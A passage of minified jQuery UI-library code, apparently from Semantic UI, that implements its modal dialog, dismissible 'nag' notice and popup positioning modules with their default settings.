events"),D.on("click"+F,A.close,S.event.close).on("click"+F,A.approve,S.event.approve).on("click"+F,A.deny,S.event.deny),s.on("resize"+C,S.event.resize)}},get:{id:function(){return(Math.random().toString(16)+"000000000").substr(2,8)}},event:{approve:function(){return T.onApprove.call(z,e(this))===!1?void S.verbose("Approve callback returned false cancelling hide"):void S.hide()},deny:function(){return T.onDeny.call(z,e(this))===!1?void S.verbose("Deny callback returned false cancelling hide"):void S.hide()},close:function(){S.hide()},click:function(t){var i=e(t.target),o=i.closest(A.modal).length>0,a=e.contains(n.documentElement,t.target);!o&&a&&(S.debug("Dimmer clicked, hiding all modals"),S.is.active()&&(S.remove.clickaway(),T.allowMultiple?S.hide():S.hideAll()))},debounce:function(e,t){clearTimeout(S.timer),S.timer=setTimeout(e,t)},keyboard:function(e){var t=e.which,n=27;t==n&&(T.closable?(S.debug("Escape key pressed hiding modal"),S.hide()):S.debug("Escape key pressed, but closable is set to false"),e.preventDefault())},resize:function(){y.dimmer("is active")&&h(S.refresh)}},toggle:function(){S.is.active()||S.is.animating()?S.hide():S.show()},show:function(t){t=e.isFunction(t)?t:function(){},S.refreshModals(),S.showModal(t)},hide:function(t){t=e.isFunction(t)?t:function(){},S.refreshModals(),S.hideModal(t)},showModal:function(t){t=e.isFunction(t)?t:function(){},S.is.animating()||!S.is.active()?(S.showDimmer(),S.cacheSizes(),S.set.position(),S.set.screenHeight(),S.set.type(),S.set.clickaway(),!T.allowMultiple&&S.others.active()?S.hideOthers(S.showModal):(T.onShow.call(z),T.transition&&e.fn.transition!==i&&D.transition("is supported")?(S.debug("Showing modal with css animations"),D.transition({debug:T.debug,animation:T.transition+" in",queue:T.queue,duration:T.duration,useFailSafe:!0,onComplete:function(){T.onVisible.apply(z),T.keyboardShortcuts&&S.add.keyboardShortcuts(),S.save.focus(),S.set.active(),T.autofocus&&S.set.autofocus(),t()}})):S.error(P.noTransition))):S.debug("Modal is already visible")},hideModal:function(t,n){return t=e.isFunction(t)?t:function(){},S.debug("Hiding modal"),T.onHide.call(z,e(this))===!1?void S.verbose("Hide callback returned false cancelling hide"):void((S.is.animating()||S.is.active())&&(T.transition&&e.fn.transition!==i&&D.transition("is supported")?(S.remove.active(),D.transition({debug:T.debug,animation:T.transition+" out",queue:T.queue,duration:T.duration,useFailSafe:!0,onStart:function(){S.others.active()||n||S.hideDimmer(),T.keyboardShortcuts&&S.remove.keyboardShortcuts()},onComplete:function(){T.onHidden.call(z),S.restore.focus(),t()}})):S.error(P.noTransition)))},showDimmer:function(){y.dimmer("is animating")||!y.dimmer("is active")?(S.debug("Showing dimmer"),y.dimmer("show")):S.debug("Dimmer already visible")},hideDimmer:function(){return y.dimmer("is animating")||y.dimmer("is active")?void y.dimmer("hide",function(){S.remove.clickaway(),S.remove.screenHeight()}):void S.debug("Dimmer is not visible cannot hide")},hideAll:function(t){var n=r.filter("."+R.active+", ."+R.animating);t=e.isFunction(t)?t:function(){},n.length>0&&(S.debug("Hiding all visible modals"),S.hideDimmer(),n.modal("hide modal",t))},hideOthers:function(t){var n=v.filter("."+R.active+", ."+R.animating);t=e.isFunction(t)?t:function(){},n.length>0&&(S.debug("Hiding other modals",v),n.modal("hide modal",t,!0))},others:{active:function(){return v.filter("."+R.active).length>0},animating:function(){return v.filter("."+R.animating).length>0}},add:{keyboardShortcuts:function(){S.verbose("Adding keyboard shortcuts"),l.on("keyup"+F,S.event.keyboard)}},save:{focus:function(){b=e(n.activeElement).blur()}},restore:{focus:function(){b&&b.length>0&&b.focus()}},remove:{active:function(){D.removeClass(R.active)},clickaway:function(){T.closable&&x.off("click"+C)},bodyStyle:function(){""===c.attr("style")&&(S.verbose("Removing style attribute"),c.removeAttr("style"))},screenHeight:function(){S.debug("Removing page height"),c.css("height","")},keyboardShortcuts:function(){S.verbose("Removing keyboard shortcuts"),l.off("keyup"+F)},scrolling:function(){y.removeClass(R.scrolling),D.removeClass(R.scrolling)}},cacheSizes:function(){var o=D.outerHeight();S.cache!==i&&0===o||(S.cache={pageHeight:e(n).outerHeight(),height:o+T.offset,contextHeight:"body"==T.context?e(t).height():y.height()}),S.debug("Caching modal and container sizes",S.cache)},can:{fit:function(){return S.cache.height+2*T.padding<S.cache.contextHeight}},is:{active:function(){return D.hasClass(R.active)},animating:function(){return D.transition("is supported")?D.transition("is animating"):D.is(":visible")},scrolling:function(){return y.hasClass(R.scrolling)},modernBrowser:function(){return!(t.ActiveXObject||"ActiveXObject"in t)}},set:{autofocus:function(){var e=D.find("[tabindex], :input").filter(":visible"),t=e.filter("[autofocus]"),n=t.length>0?t.first():e.first();n.length>0&&n.focus()},clickaway:function(){T.closable&&x.on("click"+C,S.event.click)},screenHeight:function(){S.can.fit()?c.css("height",""):(S.debug("Modal is taller than page content, resizing page height"),c.css("height",S.cache.height+2*T.padding))},active:function(){D.addClass(R.active)},scrolling:function(){y.addClass(R.scrolling),D.addClass(R.scrolling)},type:function(){S.can.fit()?(S.verbose("Modal fits on screen"),S.others.active()||S.others.animating()||S.remove.scrolling()):(S.verbose("Modal cannot fit on screen setting to scrolling"),S.set.scrolling())},position:function(){S.verbose("Centering modal on page",S.cache),S.can.fit()?D.css({top:"",marginTop:-(S.cache.height/2)}):D.css({marginTop:"",top:l.scrollTop()})},undetached:function(){y.addClass(R.undetached)}},setting:function(t,n){if(S.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,T,t);else{if(n===i)return T[t];e.isPlainObject(T[t])?e.extend(!0,T[t],n):T[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,S,t);else{if(n===i)return S[t];S[t]=n}},debug:function(){!T.silent&&T.debug&&(T.performance?S.performance.log(arguments):(S.debug=Function.prototype.bind.call(console.info,console,T.name+":"),S.debug.apply(console,arguments)))},verbose:function(){!T.silent&&T.verbose&&T.debug&&(T.performance?S.performance.log(arguments):(S.verbose=Function.prototype.bind.call(console.info,console,T.name+":"),S.verbose.apply(console,arguments)))},error:function(){T.silent||(S.error=Function.prototype.bind.call(console.error,console,T.name+":"),S.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;T.performance&&(t=(new Date).getTime(),i=d||t,n=t-i,d=t,f.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:z,"Execution Time":n})),clearTimeout(S.performance.timer),S.performance.timer=setTimeout(S.performance.display,500)},display:function(){var t=T.name+":",n=0;d=!1,clearTimeout(S.performance.timer),e.each(f,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",u&&(t+=" '"+u+"'"),(console.group!==i||console.table!==i)&&f.length>0&&(console.groupCollapsed(t),console.table?console.table(f):e.each(f,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),f=[]}},invoke:function(t,n,o){var r,s,l,c=M;return n=n||p,o=z||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},g?(M===i&&S.initialize(),S.invoke(m)):(M!==i&&M.invoke("destroy"),S.initialize())}),a!==i?a:this},e.fn.modal.settings={name:"Modal",namespace:"modal",silent:!1,debug:!1,verbose:!1,performance:!0,observeChanges:!1,allowMultiple:!1,detachable:!0,closable:!0,autofocus:!0,inverted:!1,blurring:!1,dimmerSettings:{closable:!1,useCSS:!0},keyboardShortcuts:!0,context:"body",queue:!1,duration:500,offset:0,transition:"scale",padding:50,onShow:function(){},onVisible:function(){},onHide:function(){return!0},onHidden:function(){},onApprove:function(){return!0},onDeny:function(){return!0},selector:{close:"> .close",approve:".actions .positive, .actions .approve, .actions .ok",deny:".actions .negative, .actions .deny, .actions .cancel",modal:".ui.modal"},error:{dimmer:"UI Dimmer, a required component is not included in this page",method:"The method you called is not defined.",notFound:"The element you specified could not be found"},className:{active:"active",animating:"animating",blurring:"blurring",scrolling:"scrolling",undetached:"undetached"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.nag=function(n){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var a,f=e.isPlainObject(n)?e.extend(!0,{},e.fn.nag.settings,n):e.extend({},e.fn.nag.settings),m=(f.className,f.selector),g=f.error,p=f.namespace,h="."+p,v=p+"-module",b=e(this),y=(b.find(m.close),e(f.context?f.context:"body")),x=this,C=b.data(v);t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};a={initialize:function(){a.verbose("Initializing element"),b.on("click"+h,m.close,a.dismiss).data(v,a),f.detachable&&b.parent()[0]!==y[0]&&b.detach().prependTo(y),f.displayTime>0&&setTimeout(a.hide,f.displayTime),a.show()},destroy:function(){a.verbose("Destroying instance"),b.removeData(v).off(h)},show:function(){a.should.show()&&!b.is(":visible")&&(a.debug("Showing nag",f.animation.show),"fade"==f.animation.show?b.fadeIn(f.duration,f.easing):b.slideDown(f.duration,f.easing))},hide:function(){a.debug("Showing nag",f.animation.hide),"fade"==f.animation.show?b.fadeIn(f.duration,f.easing):b.slideUp(f.duration,f.easing)},onHide:function(){a.debug("Removing nag",f.animation.hide),b.remove(),f.onHide&&f.onHide()},dismiss:function(e){f.storageMethod&&a.storage.set(f.key,f.value),a.hide(),e.stopImmediatePropagation(),e.preventDefault()},should:{show:function(){return f.persist?(a.debug("Persistent nag is set, can show nag"),!0):a.storage.get(f.key)!=f.value.toString()?(a.debug("Stored value is not set, can show nag",a.storage.get(f.key)),!0):(a.debug("Stored value is set, cannot show nag",a.storage.get(f.key)),!1)}},get:{storageOptions:function(){var e={};return f.expires&&(e.expires=f.expires),f.domain&&(e.domain=f.domain),f.path&&(e.path=f.path),e}},clear:function(){a.storage.remove(f.key)},storage:{set:function(n,o){var r=a.get.storageOptions();if("localstorage"==f.storageMethod&&t.localStorage!==i)t.localStorage.setItem(n,o),a.debug("Value stored using local storage",n,o);else if("sessionstorage"==f.storageMethod&&t.sessionStorage!==i)t.sessionStorage.setItem(n,o),a.debug("Value stored using session storage",n,o);else{if(e.cookie===i)return void a.error(g.noCookieStorage);e.cookie(n,o,r),a.debug("Value stored using cookie",n,o,r)}},get:function(n,o){var r;return"localstorage"==f.storageMethod&&t.localStorage!==i?r=t.localStorage.getItem(n):"sessionstorage"==f.storageMethod&&t.sessionStorage!==i?r=t.sessionStorage.getItem(n):e.cookie!==i?r=e.cookie(n):a.error(g.noCookieStorage),"undefined"!=r&&"null"!=r&&r!==i&&null!==r||(r=i),r},remove:function(n){var o=a.get.storageOptions();"localstorage"==f.storageMethod&&t.localStorage!==i?t.localStorage.removeItem(n):"sessionstorage"==f.storageMethod&&t.sessionStorage!==i?t.sessionStorage.removeItem(n):e.cookie!==i?e.removeCookie(n,o):a.error(g.noStorage)}},setting:function(t,n){if(a.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];e.isPlainObject(f[t])?e.extend(!0,f[t],n):f[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,a,t);else{if(n===i)return a[t];a[t]=n}},debug:function(){!f.silent&&f.debug&&(f.performance?a.performance.log(arguments):(a.debug=Function.prototype.bind.call(console.info,console,f.name+":"),a.debug.apply(console,arguments)))},verbose:function(){!f.silent&&f.verbose&&f.debug&&(f.performance?a.performance.log(arguments):(a.verbose=Function.prototype.bind.call(console.info,console,f.name+":"),a.verbose.apply(console,arguments)))},error:function(){f.silent||(a.error=Function.prototype.bind.call(console.error,console,f.name+":"),a.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;f.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:x,"Execution Time":n})),clearTimeout(a.performance.timer),a.performance.timer=setTimeout(a.performance.display,500)},display:function(){var t=f.name+":",n=0;s=!1,clearTimeout(a.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,r){var s,l,c,u=C;return n=n||d,r=x||r,"string"==typeof t&&u!==i&&(t=t.split(/[\. ]/),s=t.length-1,e.each(t,function(n,o){var r=n!=s?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(u[r])&&n!=s)u=u[r];else{if(u[r]!==i)return l=u[r],!1;if(!e.isPlainObject(u[o])||n==s)return u[o]!==i?(l=u[o],!1):(a.error(g.method,t),!1);u=u[o]}})),e.isFunction(l)?c=l.apply(r,n):l!==i&&(c=l),e.isArray(o)?o.push(c):o!==i?o=[o,c]:c!==i&&(o=c),l}},u?(C===i&&a.initialize(),a.invoke(c)):(C!==i&&C.invoke("destroy"),a.initialize())}),o!==i?o:this},e.fn.nag.settings={name:"Nag",silent:!1,debug:!1,verbose:!1,performance:!0,namespace:"Nag",persist:!1,displayTime:0,animation:{show:"slide",hide:"slide"},context:!1,detachable:!1,expires:30,domain:!1,path:"/",storageMethod:"cookie",key:"nag",value:"dismiss",error:{noCookieStorage:"$.cookie is not included. A storage solution is required.",noStorage:"Neither $.cookie or store is defined. A storage solution is required for storing state",method:"The method you called is not defined."},className:{bottom:"bottom",fixed:"fixed"},selector:{close:".close.icon"},speed:500,easing:"easeOutQuad",onHide:function(){}},e.extend(e.easing,{easeOutQuad:function(e,t,n,i,o){return-i*(t/=o)*(t-2)+n}})}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.popup=function(o){var a,r=e(this),s=e(n),l=e(t),c=e("body"),u=r.selector||"",d=!0,f=(new Date).getTime(),m=[],g=arguments[0],p="string"==typeof g,h=[].slice.call(arguments,1);return r.each(function(){var r,v,b,y,x,C,w=e.isPlainObject(o)?e.extend(!0,{},e.fn.popup.settings,o):e.extend({},e.fn.popup.settings),k=w.selector,S=w.className,T=w.error,A=w.metadata,R=w.namespace,E="."+w.namespace,P="module-"+R,F=e(this),O=e(w.context),D=e(w.scrollContext),q=e(w.boundary),j=w.target?e(w.target):F,z=0,M=!1,I=!1,L=this,N=F.data(P);C={initialize:function(){C.debug("Initializing",F),C.createID(),C.bind.events(),!C.exists()&&w.preserve&&C.create(),w.observeChanges&&C.observeChanges(),C.instantiate()},instantiate:function(){C.verbose("Storing instance",C),N=C,F.data(P,N)},observeChanges:function(){"MutationObserver"in t&&(b=new MutationObserver(C.event.documentChanged),b.observe(n,{childList:!0,subtree:!0}),C.debug("Setting up mutation observer",b))},refresh:function(){w.popup?r=e(w.popup).eq(0):w.inline&&(r=j.nextAll(k.popup).eq(0),w.popup=r),w.popup?(r.addClass(S.loading),v=C.get.offsetParent(),r.removeClass(S.loading),w.movePopup&&C.has.popup()&&C.get.offsetParent(r)[0]!==v[0]&&(C.debug("Moving popup to the same offset parent as activating element"),r.detach().appendTo(v))):v=w.inline?C.get.offsetParent(j):C.has.popup()?C.get.offsetParent(r):c,v.is("html")&&v[0]!==c[0]&&(C.debug("Setting page as offset parent"),v=c),C.get.variation()&&C.set.variation()},reposition:function(){C.refresh(),C.set.position()},destroy:function(){C.debug("Destroying previous module"),b&&b.disconnect(),r&&!w.preserve&&C.removePopup(),clearTimeout(C.hideTimer),clearTimeout(C.showTimer),C.unbind.close(),C.unbind.events(),F.removeData(P)},event:{start:function(t){var n=e.isPlainObject(w.delay)?w.delay.show:w.delay;clearTimeout(C.hideTimer),I||(C.showTimer=setTimeout(C.show,n))},end:function(){var t=e.isPlainObject(w.delay)?w.delay.hide:w.delay;clearTimeout(C.showTimer),C.hideTimer=setTimeout(C.hide,t)},touchstart:function(e){I=!0,C.show()},resize:function(){C.is.visible()&&C.set.position()},documentChanged:function(t){[].forEach.call(t,function(t){t.removedNodes&&[].forEach.call(t.removedNodes,function(t){(t==L||e(t).find(L).length>0)&&(C.debug("Element removed from DOM, tearing down events"),C.destroy())})})},hideGracefully:function(t){var i=e(t.target),o=e.contains(n.documentElement,t.target),a=i.closest(k.popup).length>0;t&&!a&&o?(C.debug("Click occurred outside popup hiding popup"),C.hide()):C.debug("Click was inside popup, keeping popup open")}},create:function(){var t=C.get.html(),n=C.get.title(),i=C.get.content();t||i||n?(C.debug("Creating pop-up html"),t||(t=w.templates.popup({title:n,content:i})),r=e("<div/>").addClass(S.popup).data(A.activator,F).html(t),w.inline?(C.verbose("Inserting popup element inline",r),r.insertAfter(F)):(C.verbose("Appending popup element to body",r),r.appendTo(O)),C.refresh(),C.set.variation(),w.hoverable&&C.bind.popup(),w.onCreate.call(r,L)):0!==j.next(k.popup).length?(C.verbose("Pre-existing popup found"),w.inline=!0,w.popup=j.next(k.popup).data(A.activator,F),C.refresh(),w.hoverable&&C.bind.popup()):w.popup?(e(w.popup).data(A.activator,F),C.verbose("Used popup specified in settings"),C.refresh(),w.hoverable&&C.bind.popup()):C.debug("No content specified skipping display",L)},createID:function(){x=(Math.random().toString(16)+"000000000").substr(2,8),y="."+x,C.verbose("Creating unique id for element",x)},toggle:function(){C.debug("Toggling pop-up"),C.is.hidden()?(C.debug("Popup is hidden, showing pop-up"),C.unbind.close(),C.show()):(C.debug("Popup is visible, hiding pop-up"), C.hide())},show:function(e){if(e=e||function(){},C.debug("Showing pop-up",w.transition),C.is.hidden()&&(!C.is.active()||!C.is.dropdown())){if(C.exists()||C.create(),w.onShow.call(r,L)===!1)return void C.debug("onShow callback returned false, cancelling popup animation");w.preserve||w.popup||C.refresh(),r&&C.set.position()&&(C.save.conditions(),w.exclusive&&C.hideAll(),C.animate.show(e))}},hide:function(e){if(e=e||function(){},C.is.visible()||C.is.animating()){if(w.onHide.call(r,L)===!1)return void C.debug("onHide callback returned false, cancelling popup animation");C.remove.visible(),C.unbind.close(),C.restore.conditions(),C.animate.hide(e)}},hideAll:function(){e(k.popup).filter("."+S.visible).each(function(){e(this).data(A.activator).popup("hide")})},exists:function(){return!!r&&(w.inline||w.popup?C.has.popup():r.closest(O).length>=1)},removePopup:function(){C.has.popup()&&!w.popup&&(C.debug("Removing popup",r),r.remove(),r=i,w.onRemove.call(r,L))},save:{conditions:function(){C.cache={title:F.attr("title")},C.cache.title&&F.removeAttr("title"),C.verbose("Saving original attributes",C.cache.title)}},restore:{conditions:function(){return C.cache&&C.cache.title&&(F.attr("title",C.cache.title),C.verbose("Restoring original attributes",C.cache.title)),!0}},supports:{svg:function(){return typeof SVGGraphicsElement===i}},animate:{show:function(t){t=e.isFunction(t)?t:function(){},w.transition&&e.fn.transition!==i&&F.transition("is supported")?(C.set.visible(),r.transition({animation:w.transition+" in",queue:!1,debug:w.debug,verbose:w.verbose,duration:w.duration,onComplete:function(){C.bind.close(),t.call(r,L),w.onVisible.call(r,L)}})):C.error(T.noTransition)},hide:function(t){return t=e.isFunction(t)?t:function(){},C.debug("Hiding pop-up"),w.onHide.call(r,L)===!1?void C.debug("onHide callback returned false, cancelling popup animation"):void(w.transition&&e.fn.transition!==i&&F.transition("is supported")?r.transition({animation:w.transition+" out",queue:!1,duration:w.duration,debug:w.debug,verbose:w.verbose,onComplete:function(){C.reset(),t.call(r,L),w.onHidden.call(r,L)}}):C.error(T.noTransition))}},change:{content:function(e){r.html(e)}},get:{html:function(){return F.removeData(A.html),F.data(A.html)||w.html},title:function(){return F.removeData(A.title),F.data(A.title)||w.title},content:function(){return F.removeData(A.content),F.data(A.content)||F.attr("title")||w.content},variation:function(){return F.removeData(A.variation),F.data(A.variation)||w.variation},popup:function(){return r},popupOffset:function(){return r.offset()},calculations:function(){var e,n=j[0],i=q[0]==t,o=w.inline||w.popup&&w.movePopup?j.position():j.offset(),a=i?{top:0,left:0}:q.offset(),s={},c=i?{top:l.scrollTop(),left:l.scrollLeft()}:{top:0,left:0};return s={target:{element:j[0],width:j.outerWidth(),height:j.outerHeight(),top:o.top,left:o.left,margin:{}},popup:{width:r.outerWidth(),height:r.outerHeight()},parent:{width:v.outerWidth(),height:v.outerHeight()},screen:{top:a.top,left:a.left,scroll:{top:c.top,left:c.left},width:q.width(),height:q.height()}},w.setFluidWidth&&C.is.fluid()&&(s.container={width:r.parent().outerWidth()},s.popup.width=s.container.width),s.target.margin.top=w.inline?parseInt(t.getComputedStyle(n).getPropertyValue("margin-top"),10):0,s.target.margin.left=w.inline?C.is.rtl()?parseInt(t.getComputedStyle(n).getPropertyValue("margin-right"),10):parseInt(t.getComputedStyle(n).getPropertyValue("margin-left"),10):0,e=s.screen,s.boundary={top:e.top+e.scroll.top,bottom:e.top+e.scroll.top+e.height,left:e.left+e.scroll.left,right:e.left+e.scroll.left+e.width},s},id:function(){return x},startEvent:function(){return"hover"==w.on?"mouseenter":"focus"==w.on&&"focus"},scrollEvent:function(){return"scroll"},endEvent:function(){return"hover"==w.on?"mouseleave":"focus"==w.on&&"blur"},distanceFromBoundary:function(e,t){var n,i,o={};return t=t||C.get.calculations(),n=t.popup,i=t.boundary,e&&(o={top:e.top-i.top,left:e.left-i.left,right:i.right-(e.left+n.width),bottom:i.bottom-(e.top+n.height)},C.verbose("Distance from boundaries determined",e,o)),o},offsetParent:function(t){var n=t!==i?t[0]:F[0],o=n.parentNode,a=e(o);if(o)for(var r="none"===a.css("transform"),s="static"===a.css("position"),l=a.is("html");o&&!l&&s&&r;)o=o.parentNode,a=e(o),r="none"===a.css("transform"),s="static"===a.css("position"),l=a.is("html");return a&&a.length>0?a:e()},positions:function(){return{"top left":!1,"top center":!1,"top right":!1,"bottom left":!1,"bottom center":!1,"bottom right":!1,"left center":!1,"right center":!1}},nextPosition:function(e){var t=e.split(" "),n=t[0],i=t[1],o={top:"bottom",bottom:"top",left:"right",right:"left"},a={left:"center",center:"right",right:"left"},r={"top left":"top center","top center":"top right","top right":"right center","right center":"bottom right","bottom right":"bottom center","bottom center":"bottom left","bottom left":"left center","left center":"top left"},s="top"==n||"bottom"==n,l=!1,c=!1,u=!1;return M||(C.verbose("All available positions available"),M=C.get.positions()),C.debug("Recording last position tried",e),M[e]=!0,"opposite"===w.prefer&&(u=[o[n],i],u=u.join(" "),l=M[u]===!0,C.debug("Trying opposite strategy",u)),"adjacent"===w.prefer&&s&&(u=[n,a[i]],u=u.join(" "),c=M[u]===!0,C.debug("Trying adjacent strategy",u)),(c||l)&&(C.debug("Using backup position",u),u=r[e]),u}},set:{position:function(e,t){if(0===j.length||0===r.length)return void C.error(T.notFound);var n,o,a,s,l,c,u,d;if(t=t||C.get.calculations(),e=e||F.data(A.position)||w.position,n=F.data(A.offset)||w.offset,o=w.distanceAway,a=t.target,s=t.popup,l=t.parent,0===a.width&&0===a.height&&!C.is.svg(a.element))return C.debug("Popup target is hidden, no action taken"),!1;switch(w.inline&&(C.debug("Adding margin to calculation",a.margin),"left center"==e||"right center"==e?(n+=a.margin.top,o+=-a.margin.left):"top left"==e||"top center"==e||"top right"==e?(n+=a.margin.left,o-=a.margin.top):(n+=a.margin.left,o+=a.margin.top)),C.debug("Determining popup position from calculations",e,t),C.is.rtl()&&(e=e.replace(/left|right/g,function(e){return"left"==e?"right":"left"}),C.debug("RTL: Popup position updated",e)),z==w.maxSearchDepth&&"string"==typeof w.lastResort&&(e=w.lastResort),e){case"top left":c={top:"auto",bottom:l.height-a.top+o,left:a.left+n,right:"auto"};break;case"top center":c={bottom:l.height-a.top+o,left:a.left+a.width/2-s.width/2+n,top:"auto",right:"auto"};break;case"top right":c={bottom:l.height-a.top+o,right:l.width-a.left-a.width-n,top:"auto",left:"auto"};break;case"left center":c={top:a.top+a.height/2-s.height/2+n,right:l.width-a.left+o,left:"auto",bottom:"auto"};break;case"right center":c={top:a.top+a.height/2-s.height/2+n,left:a.left+a.width+o,bottom:"auto",right:"auto"};break;case"bottom left":c={top:a.top+a.height+o,left:a.left+n,bottom:"auto",right:"auto"};break;case"bottom center":c={top:a.top+a.height+o,left:a.left+a.width/2-s.width/2+n,bottom:"auto",right:"auto"};break;case"bottom right":c={top:a.top+a.height+o,right:l.width-a.left-a.width-n,left:"auto",bottom:"auto"}}if(c===i&&C.error(T.invalidPosition,e),C.debug("Calculated popup positioning values",c),r.css(c).removeClass(S.position).addClass(e).addClass(S.loading),u=C.get.popupOffset(),d=C.get.distanceFromBoundary(u,t),C.is.offstage(d,e)){if(C.debug("Position is outside viewport",e),z<w.maxSearchDepth)return z++,e=C.get.nextPosition(e),C.debug("Trying new position",e),!!r&&C.set.position(e,t);if(!w.lastResort)return C.debug("Popup could not find a position to display",r),C.error(T.cannotPlace,L),C.remove.attempts(),C.remove.loading(),C.reset(),w.onUnplaceable.call(r,L),!1;C.debug("No position found, showing with last position")}return C.debug("Position is on stage",e),C.remove.attempts(),C.remove.loading(),w.setFluidWidth&&C.is.fluid()&&C.set.fluidWidth(t),!0},fluidWidth:function(e){e=e||C.get.calculations(),C.debug("Automatically setting element width to parent width",e.parent.width),r.css("width",e.container.width)},variation:function(e){e=e||C.get.variation(),e&&C.has.popup()&&(C.verbose("Adding variation to popup",e),r.addClass(e))},visible:function(){F.addClass(S.visible)}},remove:{loading:function(){r.removeClass(S.loading)},variation:function(e){e=e||C.get.variation(),e&&(C.verbose("Removing variation",e),r.removeClass(e))},visible:function(){F.removeClass(S.visible)},attempts:function(){C.verbose("Resetting all searched positions"),z=0,M=!1}},bind:{events:function(){C.debug("Binding popup events to module"),"click"==w.on&&F.on("click"+E,C.toggle),"hover"==w.on&&d&&F.on("touchstart"+E,C.event.touchstart),C.get.startEvent()&&F.on(C.get.startEvent()+E,C.event.start).on(C.get.endEvent()+E,C.event.end),w.target&&C.debug("Target set to element",j),l.on("resize"+y,C.event.resize)},popup:function(){C.verbose("Allowing hover events on popup to prevent closing"),r&&C.has.popup()&&r.on("mouseenter"+E,C.event.start).on("mouseleave"+E,C.event.end)},close:function(){(w.hideOnScroll===!0||"auto"==w.hideOnScroll&&"click"!=w.on)&&D.one(C.get.scrollEvent()+y,C.event.hideGracefully),"hover"==w.on&&I&&(C.verbose("Binding popup close event to document"),s.on("touchstart"+y,function(e){C.verbose("Touched away from popup"),C.event.hideGracefully.call(L,e)})),"click"==w.on&&w.closable&&(C.verbose("Binding popup close event to document"),s.on("click"+y,function(e){C.verbose("Clicked away from popup"),C.event.hideGracefully.call(L,e)}))}},unbind:{events:function(){l.off(y),F.off(E)},close:function(){s.off(y),D.off(y)}},has:{popup:function(){return r&&r.length>0}},is:{offstage:function(t,n){var i=[];return e.each(t,function(e,t){t<-w.jitter&&(C.debug("Position exceeds allowable distance from edge",e,t,n),i.push(e))}),i.length>0},svg:function(e){return C.supports.svg()&&e instanceof SVGGraphicsElement},active:function(){return F.hasClass(S.active)},animating:function(){return r!==i&&r.hasClass(S.animating)},fluid:function(){return r!==i&&r.hasClass(S.fluid)},visible:function(){return r!==i&&r.hasClass(S.visible)},dropdown:function(){return F.hasClass(S.dropdown)},hidden:function(){return!C.is.visible()},rtl:function(){return"rtl"==F.css("direction")}},reset:function(){C.remove.visible(),w.preserve?e.fn.transition!==i&&r.transition("remove transition"):C.removePopup()},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,w,t);else{if(n===i)return w[t];w[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,C,t);else{if(n===i)return C[t];C[t]=n}},debug:function(){!w.silent&&w.debug&&(w.performance?C.performance.log(arguments):(C.debug=Function.prototype.bind.call(console.info,console,w.name+":"),C.debug.apply(console,arguments)))},verbose:function(){!w.silent&&w.verbose&&w.debug&&(w.performance?C.performance.log(arguments):(C.verbose=Function.prototype.bind.call(console.info,console,w.name+":"),C.verbose.apply(console,arguments)))},error:function(){w.silent||(C.error=Function.prototype.bind.call(console.error,console,w.name+":"),C.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;w.performance&&(t=(new Date).getTime(),i=f||t,n=t-i,f=t,m.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:L,"Execution Time":n})),clearTimeout(C.performance.timer),C.performance.timer=setTimeout(C.performance.display,500)},display:function(){var t=w.name+":",n=0;f=!1,clearTimeout(C.performance.timer),e.each(m,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",u&&(t+=" '"+u+"'"),(console.group!==i||console.table!==i)&&m.length>0&&(console.groupCollapsed(t),console.table?console.table(m):e.each(m,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),m=[]}},invoke:function(t,n,o){var r,s,l,c=N;return n=n||h,o=L||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return 